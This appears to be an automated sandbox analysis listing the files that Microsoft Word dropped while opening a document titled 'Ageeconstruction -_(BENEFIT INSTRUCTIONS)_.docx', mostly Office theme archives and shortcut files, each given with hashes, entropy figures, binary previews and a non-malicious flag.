Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1291243 bytes, 2 files, at 0x44 +A "content.inf" +A "Droplet.thmx", flags 0x4, ID 47417, number 1, extra bytes 20 in head, 54 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1310275
Entropy (8bit):	7.9985829899274385
Encrypted:	true
SSDEEP:	24576:NN3M9UHpHZE4aubaPubP3M6d71FdtmFAjq+54/79LVzG+VnS:NN3M9UJHZE4abPyU4JtmFCq+q/7JlVS
MD5:	9C9F49A47222C18025CC25575337A965
SHA1:	E42EDB33471D7C1752DCC42C06DD3F9FDA8B25F0
SHA-256:	ADA7EFF0676D9CCE1935D5485F3DDE35C594D343658FB1DA42CB5A48FC3FC16A
SHA-512:	9FDCBAB988CBE97BFD931B727D31BA6B8ECF795D0679A714B9AFBC2C26E7DCF529E7A51289C7A1AE7EF04F4A923C2D7966D5AF7C0BC766DCD0FCA90251576794
Malicious:	false
Preview:	MSCF...........D...............9..............XJ..........}...6..............M.. .content.inf............M.. .Droplet.thmx..m7.>J..[...............2.QQPIj..."o^R.H5^...^(e.W...R..x..^`..m...."..+.....{o.......Q.-....$V.N>...T]..L.... ..N.h..dOY.......S......N.%.d..d....Y.....e..$...<.m...`............@....=.z..n..[...,G..1Fn.qPDH{C<...3.Q...2..r.....E.E.E.ErM"&a..'..W....:...?I..<.I..6o.`.d.?!..!..._.4\.._.E..).._O.S....; ..#..p.H.....c....o\.K..?$U.e.........!...J.v.....gNe._..[....#A.O.n_.....gm:P._.........{@..-g..j.69b.NH.I.$Hk?.6.n...@......'.C.._.U..:,j.-G.....e.#.Sr.t.L......d[.[...s.....rx.3.F[.5o..:....K.x..)M.fb...3IP.&h.Q.VX^%U.......x..l......@6.k.P..zSW.?....F..[L...4..b.l.w."&.....`.j...i.5}".~.-.....{\.:...o.'H\+)....3.Y......\...f:.;....e........4't7..f...w..j...3....N..9`.J...P..?.....=3_.y]...f.<.......JM5.}Q/ .F.a..Z.._yh......V..>m .......a....f....!.hz..\.....F_..'z...,....h.=.......=.o..T....3.e..........$..g.2.

C:\Users\user\AppData\Local\Temp\cab6CFA.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1750009 bytes, 2 files, at 0x44 +A "content.inf" +A "Slate.thmx", flags 0x4, ID 28969, number 1, extra bytes 20 in head, 72 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1766185
Entropy (8bit):	7.9991290831091115
Encrypted:	true
SSDEEP:	24576:O/gjMj+RP9Q07h9F75a0BXjBccHMVk2Hq2SkGa0QglyZtxmdPP2LcSUtfgfp16Yx:kJ6RP9Q07/X5V7yVF0QgktxAPutUt0zP
MD5:	828F96031F40BF8EBCB5E52AAEEB7E4C
SHA1:	CACC32738A0A66C8FE51A81ED8E27A6F82E69EB2
SHA-256:	640AD075B555D4A2143F909EAFD91F54076F5DDE42A2B11CD897BC564B5D7FF7
SHA-512:	61F6355FF4D984931E79624394CCCA217054AE0F61B9AF1A1EDED5ACCA3D6FEF8940E338C313BE63FC766E6E7161CAFA0C8AE44AD4E0BE26C22FF17E2E6ABAF7
Malicious:	false
Preview:	MSCF............D...............)q..............0?..........{...H..............M.. .content.inf.;.#........M.. .Slate.thmx.p.+..P..[......U..............p..K.!..........K..w..v........=....D$r...B....6 ...X.F0..d..m.s...$$r........m.)6.m3....vXn.l..o...a...V......Ru.:=2M.........T.....4S`EP......\..r,..v...G.P......'._H0]..%_............X.P.,.............H.?.-.H..".......M..&..o....R........<......`...D.H.._.G.Qv..(..U,.9..D...."..T..i.e../.e.."....,S...o.X.....c./..V....Z..o.O..2....{...+... ....0.@J.R.Q.m.....{.....h?u.q.O{...l.d)..Yk`.....#...u.-.m..#CXwrz4..7.>......v.E:.#.oGSKS.TX.Chm.4aQ......avH..{..j+@6[k].....`c..W8..j.v.Zh.]....4......K..#Hzyd..K}.....H\|<H..\(l...+..%Z......~.S:^..d>..1..H%..7N-v.....Wu.*..b^.B.....k0gc.2.{.!...E7.}3.d...{.Ye...&#f6...:2......v..&!..k0d.p.b...,..$.....Y..60...h.N}.r...<[./........{...Es..&.nf.....2.@Fh3.9.G....l.[.C..SD/6.H.K....}..m....M..........gl.P.]..I......5....e.c...V....P...[.=.......O.eq+

C:\Users\user\AppData\Local\Temp\cab6E53.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1865728 bytes, 2 files, at 0x44 +A "content.inf" +A "Damask.thmx", flags 0x4, ID 63852, number 1, extra bytes 20 in head, 68 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1881952
Entropy (8bit):	7.999066394602922
Encrypted:	true
SSDEEP:	49152:6Wp9u/ZAvKz7ZFCejPiSmYXKIr6kBwBUA:6W6Bn7ZFNiiKo2l
MD5:	53C5F45B22E133B28D4BD3B5A350FDBD
SHA1:	D180CFB1438D27F76E1919DA3E84F307CB83434F
SHA-256:	8AF4C7CAC47D2B9C7ADEADF276EDAE830B4CC5FFE7E765E3C3D7B3FADCB5F273
SHA-512:	46AD3DA58C63CA62FCFC4FAF9A7B5B320F4898A1E84EEF4DE16E0C0843BAFE078982FC9F78C5AC6511740B35382400B5F7AC3AE99BB52E32AD9639437DB481D1
Malicious:	false
Preview:	MSCF.....x......D...............l............x..`?..........\|...D..............M[. .content.inf...!........M[. .Damask.thmx...o.PI..[.............../.TU.jj0..3jCUPU.jF...m.UU.P}.....PU..........w..#....E..].................A.. w.$..@..'g.......6%:..r9..d.M;M+.r.8[d{.s..dh..(P..........!.. ..ne..f.Nc..#..Y..q....KB}..b].@..F.&.t....E.........@&.m......$w......q...:.H....p.p.....?.9x.. .....?...ao....I....................o......g.u..;."....O;....{..(k..._.w/.Z......Jb..P.O?...........?....F....ty..72......! #....v..J......?.....!,.5.7..Em.....is.h.. \.H)i1v..zwp.....P.....x].X{O//..\....Z>z....6...+..a.c...;.K..+...?014..p.w%o^.....]...MguF...`....r.S.......eF..):.dnk#.p{..<..{..Ym...>...H......x.}.hI..M....e......*G.&.?..~.~G6.....+...D..p...._...T....F6.[Cx./Q..Xe.>.;.}>.^..:..SB.X..2.......(A..&j9....\\.......Haf+]Y...$t^Y=........><.w....tL../E...%6.Vr~MI...l.....<.0.I....7.Q8y.f.uu...I.p..O..eYYS.O......9..Qo.......:..........o.............{

C:\Users\user\AppData\Local\Temp\cab70C6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2511552 bytes, 2 files, at 0x44 +A "content.inf" +A "Main_Event.thmx", flags 0x4, ID 59889, number 1, extra bytes 20 in head, 90 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2527736
Entropy (8bit):	7.992272975565323
Encrypted:	true
SSDEEP:	49152:NFXdpz4d98p/q5jA4q+9Uf5kx6wHR8WfPJZVhWzH4dRze76YP9nJ7yyAInT76nSY:NFXdKx5sM9SmxHKexZVhutJJVpCSqa0Z
MD5:	F256ACA509B4C6C0144D278C7036B0A8
SHA1:	93F6106D0759AFD0061F73B876AA9CAB05AA8EF6
SHA-256:	AD26761D59F1FA9783C2F49184A2E8FE55FCD46CD3C49FFC099C02310649DC67
SHA-512:	08C57661F8CC9B547BBE42B4A5F8072B979E93346679ADE23CA685C0085F7BC14C26707B3D3C02F124359EBB640816E13763C7546FF095C96D2BB090320F3A95
Malicious:	false
Preview:	MSCF.....R&.....D............................R&.8?..............Z..............M). .content.inf..,........M). .Main_Event.thmx......R..[...............=.1.^xa..^...../..^x....QA^"....^/.I.{/F..F..........6Vn. ..._Hmc......<....#.{.@.....Xl../Y....Ye..'V.f.S.Vf.T..0t+..y...5O...{.....-.dT...........!...[ .ns..k.....QAA.. ....B..u.`.....{.\u8.0.....@t........K....@..w.......>...-1F...........1.E....O............_M.m..CP.O......X......g......].../..:C...Q...i.._"...M..1o...S../...9....k;...}S........y..;1o....1h......t.CL.3...].@...T...4.6.}.....M...f...[.s.."f....nZ.W......0.c.{.`.^..Oo.[.JT.2].^.f..a....kO......Q..G..s.5...V.Wj.....e...I,]...SHa..U.N.N.....v.C.....x..J{.Z.t...]WN...77BO-J......g......3:i..2..EFeL.,n..t:..,~4gt.w...M.5.'h.L..#..A&.O.ys%K.Z....F.PW..=jH...jGB.i..j.J.^.#.\n...J@.....-5.f.1jZ68.o...H2.......$O...>..ld&,#$.&_....yl.fkP$.........l....s....i.tx.~<.z...>..2.Gx..B..z.E.3.N<....`$.....b..?.w.[.X..1.=q!.s......v.......r.w

C:\Users\user\AppData\Local\Temp\cab7135.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 2573508 bytes, 2 files, at 0x44 +A "content.inf" +A "Mesh.thmx", flags 0x4, ID 62129, number 1, extra bytes 20 in head, 94 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	2591108
Entropy (8bit):	7.999030891647433
Encrypted:	true
SSDEEP:	49152:ZSBBeAefkpB5iXfQJgi7JBaCCRZ3cM2VDHkvSJO6qzI1tE9Rn:EBI6gbCkMPDHKSJO6qsP6n
MD5:	BEB12A0464D096CA33BAEA4352CE800F
SHA1:	F678D650B4A41676BA05C836D462F34BDC5BF648
SHA-256:	A44166F5C9F2553555A43586BA5DB1C1DE54D72D308A48268F27C6A00076B1CA
SHA-512:	B6E7CCD1ECBB9A49FC72E40771725825DAF41DDB2FF8EA4ECCE18B8FA1A59D3B2C474ADD055F30DA58C7E833A6E6555EBB77CCC324B61CA337187B4B41F7008B
Malicious:	false
Preview:	MSCF.....D'.....D............................D'..D..........z...^..............M7. .content.inf............M7. .Mesh.thmx....&~j..[.....0.................]............ww,v.\....D......3m..m!f..0..E{..?..`..A...k.:....I..........\|bmG.FS...f.;.J.vzb.......R.......-....\|.......ESD.....".4M..M..t.N....y..,..#.4.5.2.......'.8.Q..3.D..T....!.......&rJg...s........(..9........Dw..'....9.-..G.c............E.. .O.....a..O.._..s..)7Wz~....bJ..D...o....0..R/.#...?.......~6.Q?....?y...g.?............TP..r-...>....-..!.6...B.....\../...2....4...p$...Oge.G.?.....S.#x(..$.A~.U.%f....dJ..S.f{.g.._..3{.fm2.....Z.\o&.[k.m....ko.8..r.-.Go.OQ..'!6..f.L...Ud.$.q.L.....R.. J.T&4g...7.2K...#k.[.].:....lk.....;c..DRx.`..&L..cpv.>.Ngz~.{..v5.\...'C.<R:.C8.\|.fE{......K...).....T...gz}..rF..Q.dof7.....D.f=cm...U\|.O.]F...5zg(.. ....S..._?D....^..+.i...Z.....+X..U!4qy..._..`I..>./.W.7......=.O....BG..=..%9\|...3.?...}.$"..H..u...0.......a..:t?.....8...Z..#g.=<.e.`\......KQ..U....

C:\Users\user\AppData\Local\Temp\cab72DD.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3239239 bytes, 2 files, at 0x44 +A "content.inf" +A "Vapor_Trail.thmx", flags 0x4, ID 19811, number 1, extra bytes 20 in head, 111 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	3256855
Entropy (8bit):	7.996842935632312
Encrypted:	true
SSDEEP:	98304:wh7I1aeH9YvgK+A+a7GiiQzP4YZDpQ2+Sd6Y:w21ay93aypQzzhpBL/
MD5:	8867BDF5FC754DA9DA6F5BA341334595
SHA1:	5067CCE84C6C682B75C1EF3DEA067A8D58D80FA9
SHA-256:	42323DD1D3E88C3207E16E0C95CA1048F2E4CD66183AD23B90171DA381D37B58
SHA-512:	93421D7FE305D27E7E2FD8521A8B328063CD22FE4DE67CCCF5D3B8F0258EF28027195C53062D179CD2EBA3A7E6F6A34A7A29297D4AF57650AA6DD19D1EF8413D
Malicious:	false
Preview:	MSCF....Gm1.....D...............cM..........Gm1..D..............o... ..........MP. .content.inf...7. ......MP. .Vapor_Trail.thmx..n...N..[......L........7...+I..x...P7/...BH..Rm.\yqi.x..B....{.m.............=.....p.%.@......BpV.[......C.4..X./..Y.'SB..........0.Gr.FG.).....R\...2..Jt..1..._.4_B..................cn7H.-.....Q...1..G{G.~.. '.$......@.(....=@=..`....@.@.A. ....'.4`. .@....D...'....S.s..9.7" /....?.aY.c.........LG....k...?_.....P.....?.1.....FB..m..t...['......:...?...W..../~..z.Tr...X.@...._....3..N..p.....b...t.....^..t...~..t.8A...t_....D..3R.Z.=..{.A.8).3-5..v.isz....0A~%.s.D.4....k.K......8......)R.}f.E..n.g&:W...'E....4%T..>......b.y..[..zI....e...j.s....F.....\|7826U.C.,..BY.U.F.f......"..#.m..,..._...#.\.....gPP.2.}Kas......g..3.d0.Z.Z.]..n......MY]6.....].m..D.6...?.n.20.,.#...S...JK..#.W.%.Z4.....i..CBf...../..z......n.N...U.....8t...ny...=.!..#..SF..e...1.P..@.Qx*.f.;..t..S.>..... F..)...@.Y..5j....x....vI.mM....Z.W..77...

C:\Users\user\AppData\Local\Temp\cab72DE.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3400898 bytes, 2 files, at 0x4c "Insight design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 106 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	3417042
Entropy (8bit):	7.997652455069165
Encrypted:	true
SSDEEP:	98304:1YYkj2mRz6vkkB15AW4QD0ms+FdniD60bDUpS:qYkj7d6vP7NZDLn+PM8
MD5:	749C3615E54C8E6875518CFD84E5A1B2
SHA1:	64D51EB1156E850ECA706B00961C8B101F5AC2FC
SHA-256:	F2D2DF37366F8E49106980377D2448080879027C380D90D5A25DA3BDAD771F8C
SHA-512:	A5F591BA5C31513BD52BBFC5C6CAA79C036C7B50A55C4FDF96C84D311CCDCF1341F1665F1DA436D3744094280F98660481DCA4AA30BCEB3A7FCCB2A62412DC99
Malicious:	false
Preview:	MSCF......3.....L.............................3..?..............j.....3.....t.4.............Insight design set.dotx.................Content.inf...QJ.N..[.........R.....L....N).J\|E.B.$.B).3,...n.....JW....k.U1..M...3#.5....$^.....;vR...Z.nj...#......^......a.{..(..o.v...!L`...T.-&jZ`.\.0.....G.."b.m..F.X......$>%..?.D..H.l.j....$.......MrQ......q-....hx...6.D.3...j....n..U#R..3....sm?..xJr..............$G8..t.g...?.g.}......$P._...7.#..w..9DR....lu....?..'.Ai..v.vl..`......B..N_....W./.;...c=oYW.lL'bv.......+...9.P..B=...Y.SX=EL.5o....?H.e\|.Fn.M[...d.v.....i......9..U..H....uq.Nrn..@..e...3....8.....s8}z..$........B....26...d..?.l....=.aeM.[..\|n....H.;..7A.`....=.F...V.Y.l..8.........%e.x0S.....~..2..%.....U..#.r_.0V.v.6w.l.......Y.........v..o+....sn.$^'.Il...akUU....w....~.....&8.Vwj.....Q.uQ..&..G.($.2.s.?m.B.~j...+G.W..qi..g..5.)){O........o.ow.(;.{...y;n...J...&.F2.@.;......[{'w..........`....czW.........?W...}..w....x..........

C:\Users\user\AppData\Local\Temp\mso1DAF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	GIF image data, version 89a, 15 x 15
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.949125862393289
Encrypted:	false
SSDEEP:	12:PlrojAxh4bxdtT/CS3wkxWHMGBJg8E8gKVYQezuYEecp:trPsTTaWKbBCgVqSF
MD5:	ED3C1C40B68BA4F40DB15529D5443DEC
SHA1:	831AF99BB64A04617E0A42EA898756F9E0E0BCCA
SHA-256:	039FE79B74E6D3D561E32D4AF570E6CA70DB6BB3718395BE2BF278B9E601279A
SHA-512:	C7B765B9AFBB9810B6674DBC5C5064ED96A2682E78D5DFFAB384D81EDBC77D01E0004F230D4207F2B7D89CEE9008D79D5FBADC5CB486DA4BC43293B7AA878041
Malicious:	false
Preview:	GIF89a....w..!..MSOFFICE9.0.....sRGB......!..MSOFFICE9.0.....msOPMSOFFICE9.0Dn&P3.!..MSOFFICE9.0.....cmPPJCmp0712.........!.......,....................'..;..b...RQ.xx..................,+................................yy..;..b.........................qp.bb..........uv.ZZ.LL.......xw.jj.NN.A@....zz.mm.^_.........yw........yx.xw.RR.,.++............................................................................................................................................................................................................8....>.......................4567...=..../0123.....<9:.()+,-.B.@...."#$%&'....... !............C.?....A;<...HT(..;

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:x3JX:
MD5:	9AD2F51CAC7108624F2686EA5C153C97
SHA1:	148C03610FA89D6AF2AF3DAFDFCC0EF6B0A75305
SHA-256:	D87C773062FAD6045841A43D239BE10759281D4A3BF944EA3C98D44475B8576E
SHA-512:	1CD2227FAF7F74D341D7DF7DC863D4585D9DC795FBB02DC339EE60516220AC88FB3FD612081EB687EB57F5A15FA57F145E36867BAD3535B928E41D7ECD08E89D
Malicious:	false
Preview:	....F.........................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Oct 5 09:31:38 2023, mtime=Fri Oct 18 21:13:53 2024, atime=Fri Oct 18 21:13:47 2024, length=70989, window=hide
Category:	dropped
Size (bytes):	679
Entropy (8bit):	4.74968883775467
Encrypted:	false
SSDEEP:	12:8eltSGbnAslxFBrEjAd3DDfljmvbnAslxFBrSoAmV:8eQmFBrQAd3DDf5JmFBrS1m
MD5:	90C3591CE8C867D5664C0E9F712F7784
SHA1:	2A0B7F3E41428CFD0BED7DF0A801883FDD802AF0
SHA-256:	9A95F34D9F3DE5D39EB868BD7595CE9D2895EB3DC0D21FC3AA89811277AACC95
SHA-512:	4522B0117EE2B606AE0D5B3E4E588C1EB802BFA61A1807A52DB0C4760CBF0A1DF2A4B0052A93B044EC492B1C6804BF95C47D41B247C4A9F587D4FB7253BAEB12
Malicious:	false
Preview:	L..................F.... .....8.w........!..K?...!..M...........................2.M...RY.. .AGEECO~1.DOC.........EW.SRY......:..... ................v..A.g.e.e.c.o.n.s.t.r.u.c.t.i.o.n. .-._.(.B.E.N.E.F.I.T. .I.N.S.T.R.U.C.T.I.O.N.S.)._...d.o.c.x.......t...............-.......s............F.......C:\Users\user\Desktop\Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx..F.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.A.g.e.e.c.o.n.s.t.r.u.c.t.i.o.n. .-._.(.B.E.N.E.F.I.T. .I.N.S.T.R.U.C.T.I.O.N.S.)._...d.o.c.x.`.......X.......284992...........hT..CrF.f4... .....jc...+...E...hT..CrF.f4... .....jc...+...E..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Templates.LNK

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Directory, ctime=Fri Oct 18 21:13:49 2024, mtime=Fri Oct 18 21:14:54 2024, atime=Fri Oct 18 21:14:06 2024, length=0, window=hide
Category:	dropped
Size (bytes):	1161
Entropy (8bit):	4.681279770050569
Encrypted:	false
SSDEEP:	12:8VHscmUcTCTCHkGlEzKENM6r/EbODlZ0/4tZLwuTENXdzXuVlejA2NNHSuT1lilD:8KrCzKsM6r/2uO+aAxuTQJb52wqygm
MD5:	E5D70F7D0314E4CA1C6F39FC1A2E1160
SHA1:	73F146EC60EDF64DD2743446163604DA40C75CD9
SHA-256:	B60F4B7E4E4B338183C77CB38CD44A57296A939966B7E1E2F6A36896A9D77BFD
SHA-512:	F12C5DB8BAAA0A79DBE4A04F456664D3A6099AB6BDF81370B2AB74BF54679A3A13E1ACE2EFDFEC46301F2F6A7E913944E9A62110C801FD647DB9DF124FFA7370
Malicious:	false
Preview:	L..................F............!.....(.!...5...!..........................Y....P.O. .:i.....+00.../C:\...................x.1.....EW\|N..Users.d......OwHRY......................:.....`._.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....N.1.....RY....user..:......EW)NRY................................b.r.o.k.....V.1.....EW)N..AppData.@......EW)NRY.............................c..A.p.p.D.a.t.a.....V.1.....RY....Roaming.@......EW)NRY............................Y...R.o.a.m.i.n.g.....\.1.....RY....MICROS~1..D......EW)NRY............................x.-.M.i.c.r.o.s.o.f.t.....\.1.....RY...TEMPLA~1..D......RY..RY.....:......................B..T.e.m.p.l.a.t.e.s.......`...............-......._............F.......C:\Users\user\AppData\Roaming\Microsoft\Templates........\.....\.T.e.m.p.l.a.t.e.s...........................>.e.L.:..er.=....`.......X.......284992...........hT..CrF.f4... .4>dO.....+...E...hT..CrF.f4... .4>dO.....+...E..............1SPS.XF.L8C....&.m.q............/...S.-.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	136
Entropy (8bit):	5.188314868545343
Encrypted:	false
SSDEEP:	3:HvcGQWNVvjsDKW3OQ2JVom4MAGQWNVvjsDKW3OQ2JVopnbJlv:Hv3QWToeVJV1jQWToeVJViv
MD5:	CB46828A1DEA51034D3F2F9006C0765E
SHA1:	871A16B5D3F6BF9059C200783C5418D91EE0BA67
SHA-256:	21DDBC1EBCB4E5087980AEBD986C616BA463EFD4D242A426C3DA4C6019210F56
SHA-512:	5B991B8686206D97006538DE71047DEDE9BCFDEB8EB7988F6B6C7880E81A894C004B23F489F6CE85111B7C31D33A40F8C3DC237CF9C2B4F47848B941F0C194BD
Malicious:	false
Preview:	[misc]..Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.LNK=0..[folders]..Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.LNK=0..Templates.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
